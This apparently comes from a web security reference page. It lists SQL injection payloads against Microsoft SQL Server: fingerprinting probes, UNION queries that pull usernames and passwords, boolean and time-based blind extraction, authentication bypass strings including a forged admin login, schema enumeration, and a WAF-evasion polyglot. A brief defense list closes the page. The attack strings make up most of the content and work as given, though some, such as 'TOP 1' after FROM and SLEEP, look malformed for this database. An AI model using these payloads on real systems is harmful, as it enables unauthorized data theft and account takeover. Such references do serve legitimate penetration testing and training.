Microsoft SQL Server SQL Injection Payloads

These Microsoft SQL Server payloads cover detection, fingerprinting, UNION with TOP, error-based CONVERT leaks, boolean and time-based blind with WAITFOR DELAY, stacked queries (including xp_cmdshell), WAF bypass and enumeration.

Focused page: Microsoft SQL Server Boolean-Based Blind SQL Injection Payloads.

Detection — Find and confirm the injection point (5)

Fingerprint — Identify the database engine (3)

BINARY_CHECKSUM

DBMS identification

' AND BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)-- 

Keyword-based DBMS fingerprint (PAT table).

PayloadsAllTheThings reference

Exploitation — Extract data or demonstrate impact (18)

UNION SELECT exfil

UNION-based

' UNION SELECT username, password FROM users TOP 1-- 

Column count must match original query. Reflect column 1 in the app response.

PayloadsAllTheThings reference

Target char (ASCII)

Boolean blind

' AND ASCII(SUBSTRING(@@VERSION,1,1))=104-- 

Binary search ASCII at position 1 (configured: 104).

PayloadsAllTheThings reference

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(@@VERSION,1,1))='5' THEN (WAITFOR DELAY '00:00:05') ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

OR 1=1 with row limit

Authentication bypass

' OR 1=1 OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY-- 

Login as first user in result set.

PayloadsAllTheThings reference

UNION with MD5 hash

Authentication bypass

'admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'-- 

UNION login as admin with hash 161ebd7d45089b3446ee4e0d86dbcf92 (password column).

PayloadsAllTheThings reference

Enumeration — Discover schema, tables, and sensitive data (3)

List tables

Enumeration

' UNION SELECT table_name,NULL FROM information_schema.tables TOP 1-- 

Set database name to filter schema.

PayloadsAllTheThings reference

Bypass & misc — WAF evasion and cross-context payloads (6)

SLEEP polyglot

Polyglot

'SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/-- 

Works across quote contexts (PAT polyglot).

PayloadsAllTheThings reference

Defense

  • Parameterized queries / prepared statements are the primary fix for every technique on this page.
  • Run the application's database account with least privilege — no DBA, no file or command access.
  • Suppress verbose database errors and validate input types at the edge.